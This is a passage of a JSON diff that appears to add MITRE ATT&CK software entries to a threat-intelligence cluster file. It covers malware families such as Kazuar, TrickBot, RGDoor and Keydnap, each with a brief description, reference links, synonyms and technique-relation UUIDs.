[Rancor](https://attack.mitre.org/groups/G0075). [DDKONG](https://attack.mitre.org/software/S0255) was first seen used in February 2017. (Citation: Rancor Unit42 June 2018)", + "meta": { + "external_id": "S0255", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0255", + "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + ], + "synonyms": [ + "DDKONG" + ] + }, + "related": [ + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb", + "value": "DDKONG - S0255" + }, + { + "description": "[Kazuar](https://attack.mitre.org/software/S0265) is a fully featured, multi-platform backdoor Trojan written using the Microsoft .NET framework. (Citation: Unit 42 Kazuar May 2017)", + "meta": { + "external_id": "S0265", + "mitre_platforms": [ + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0265", + "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + ], + "synonyms": [ + "Kazuar" + ] + }, + "related": [ + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4eeaf8a9-c86b-4954-a663-9555fb406466", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "value": "Kazuar - S0265" + }, + { + "description": "[Mosquito](https://attack.mitre.org/software/S0256) is a Win32 backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). [Mosquito](https://attack.mitre.org/software/S0256) is made up of three parts: the installer, the launcher, and the backdoor. The main backdoor is called CommanderDLL and is launched by the loader program. (Citation: ESET Turla Mosquito Jan 2018)", + "meta": { + "external_id": "S0256", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0256", + "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + ], + "synonyms": [ + "Mosquito" + ] + }, + "related": [ + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9b52fca7-1a36-4da0-b62d-da5bd83b4d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "92b55426-109f-4d93-899f-1833ce91ff90", + "value": "Mosquito - S0256" + }, + { + "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) is a backdoor that has been used by [menuPass](https://attack.mitre.org/groups/G0045). (Citation: FireEye APT10 Sept 2018)", + "meta": { + "external_id": "S0275", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0275", + "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + ], + "synonyms": [ + "UPPERCUT", + "ANEL" + ] + }, + "related": [ + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", + "value": "UPPERCUT - S0275" + }, + { + "description": "[VERMIN](https://attack.mitre.org/software/S0257) is a remote access tool written in the Microsoft .NET framework. It is mostly composed of original code, but also has some open source code. (Citation: Unit 42 VERMIN Jan 2018)", + "meta": { + "external_id": "S0257", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0257", + "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + ], + "synonyms": [ + "VERMIN" + ] + }, + "related": [ + { + "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "value": "VERMIN - S0257" + }, + { + "description": "[OldBoot](https://attack.mitre.org/software/S0285) is an Android malware family. (Citation: HackerNews-OldBoot)", + "meta": { + "external_id": "S0285", + "refs": [ + "https://attack.mitre.org/software/S0285", + "http://thehackernews.com/2014/01/first-widely-distributed-android.html" + ], + "synonyms": [ + "OldBoot" + ] + }, + "related": [ + { + "dest-uuid": "46d818a5-67fa-4585-a7fc-ecf15376c8d5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "2074b2ad-612e-4758-adce-7901c1b49bbc", + "value": "OldBoot - S0285" + }, + { + "description": "[RGDoor](https://attack.mitre.org/software/S0258) is a malicious Internet Information Services (IIS) backdoor developed in the C++ language. [RGDoor](https://attack.mitre.org/software/S0258) has been seen deployed on webservers belonging to the Middle East government organizations. [RGDoor](https://attack.mitre.org/software/S0258) provides backdoor access to compromised IIS servers. (Citation: Unit 42 RGDoor Jan 2018)", + "meta": { + "external_id": "S0258", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0258", + "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/" + ], + "synonyms": [ + "RGDoor" + ] + }, + "related": [ + { + "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "b9eec47e-98f4-4b3c-b574-3fa8a87ebe05", + "value": "RGDoor - S0258" + }, + { + "description": "[RCSAndroid](https://attack.mitre.org/software/S0295) is Android malware. (Citation: TrendMicro-RCSAndroid)", + "meta": { + "external_id": "S0295", + "refs": [ + "https://attack.mitre.org/software/S0295", + "http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-rcsandroid-spying-tool-listens-to-calls-roots-devices-to-get-in/" + ], + "synonyms": [ + "RCSAndroid" + ] + }, + "related": [ + { + "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c4b96c0b-cb58-497a-a1c2-bb447d79d692", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "363bc05d-13cb-4e98-a5b7-e250f2bbdc2b", + "value": "RCSAndroid - S0295" + }, + { + "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) is a remote access tool that can exfiltrate files from a victim’s machine. [InnaputRAT](https://attack.mitre.org/software/S0259) has been seen out in the wild since 2016. (Citation: ASERT InnaputRAT April 2018)", + "meta": { + "external_id": "S0259", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0259", + "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/" + ], + "synonyms": [ + "InnaputRAT" + ] + }, + "related": [ + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "c8b6cc43-ce61-42ae-87f3-a5f10526f952", + "value": "InnaputRAT - S0259" + }, + { + "description": "[TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program that has mainly been used for targeting banking sites in Australia. TrickBot first emerged in the wild in September 2016 and appears to be a successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) is developed in the C++ programming language. (Citation: S2 Grupo TrickBot June 2017) (Citation: Fidelis TrickBot Oct 2016) (Citation: IBM TrickBot Nov 2016)", + "meta": { + "external_id": "S0266", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0266", + "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf", + "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre", + "https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/", + "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n", + "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick" + ], + "synonyms": [ + "TrickBot", + "Totbrick", + "TSPY_TRICKLOAD" + ] + }, + "related": [ + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "544b0346-29ad-41e1-a808-501bb4193f47", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "00806466-754d-44ea-ad6f-0caf59cb8556", + "value": "TrickBot - S0266" + }, + { + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) is a backdoor that has been used to target Ukrainian victims. (Citation: FireEye FELIXROOT July 2018)", + "meta": { + "external_id": "S0267", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0267", + "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + ], + "synonyms": [ + "FELIXROOT" + ] + }, + "related": [ + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "cf8df906-179c-4a78-bd6e-6605e30f6624", + "value": "FELIXROOT - S0267" + }, + { + "description": "This piece of malware steals the content of the user's keychain while maintaining a permanent backdoor (Citation: OSX Keydnap malware).", + "meta": { + "external_id": "S0276", + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0276", + "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", + "https://www.synack.com/2017/01/01/mac-malware-2016/" + ], + "synonyms": [ + "Keydnap", + "OSX/Keydnap" + ] + }, + "related": [ + { + "dest-uuid": "7d751199-05fa-4a72-920f-85df4506c76c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": 